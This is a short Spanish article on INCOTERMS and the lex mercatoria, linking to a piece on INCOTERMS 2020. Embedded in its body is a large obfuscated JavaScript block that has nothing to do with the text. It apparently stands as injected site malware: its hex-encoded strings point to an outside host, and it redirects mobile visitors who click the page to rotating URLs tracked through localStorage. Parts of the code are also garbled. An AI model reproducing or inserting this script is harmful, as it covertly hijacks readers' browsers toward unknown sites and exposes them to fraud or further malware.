

Sin duda, los **INCOTERMS** son la piedra angular del comercio exterior. Se trata de términos que determinan factores tan importantes en las transacciones internacionales como el momento de transmisión del riesgo de la mercancía, los costes logísticos y aduaneros o la gestión operativa documental de la operación. En definitiva, nos da una información fundamental de qué incluye el precio ofertado por el vendedor y las obligaciones de las partes. Junto con los **Principios UNIDROI** (principios generales aplicables a los contratos mercantiles internacionales), constituyen la denominada **Lex Mercatoria** más destacada.

Los otros importantes instrumento internacional que hay que conocer para realizar operaciones internacionales de bienes (nunca servicios) es la Convención de Viena.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx67x55x4cx
32x63x342','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76
x65x2fx42x51x6bx33x63x313','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx6ex
74x44x30x63x310','random','-local-storage','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x7
6x65x2fx4ax61x5ax37x63x357','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70
x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx73x64x41x36x63x306','12075252qhSFyR','x68x7
4x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx6fx47x49x38x63x358','x68x74x74x70x3a
x2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx4bx64x62x35x63x325','4829028FhdmK','round','-hur
s','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','
setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const
_0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx78x52x6
2x31x63x371',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2e
x6cx69x76x65x2fx4dx75x71x34x63x384',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x1
8f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx79x47x48x3
9x63x309',",",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1
a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec3
```

```
8a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','p
arse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=functi
on(){let _0x129862=![];return
function(_0x784bdc){((android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e
laine|fennec|hiptop|iemoible|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hci|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-|o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30[0|2]|n50[0|2|5]|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-oo|p-)|sdk|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-v|v-
v)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(
_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
```

```
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);,_0x4a7983=(  
_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)  
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+  
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind  
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);_0x10ad9f(_0xfdead6);function  
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const  
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const  
_0x4593ae=Date[_0x365b[0x21]](new  
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d  
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const  
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45  
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0  
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x4  
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0  
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5  
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else  
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9  
78889);}());
```

ECONOMIS&JURIS publica un interesante artículo sobre los recién estrenados INCOTERMS 2020.

Fuente: <https://www.economistjurist.es/noticias-juridicas/la-nueva-lex-mercatoria-incoterms-2020/>

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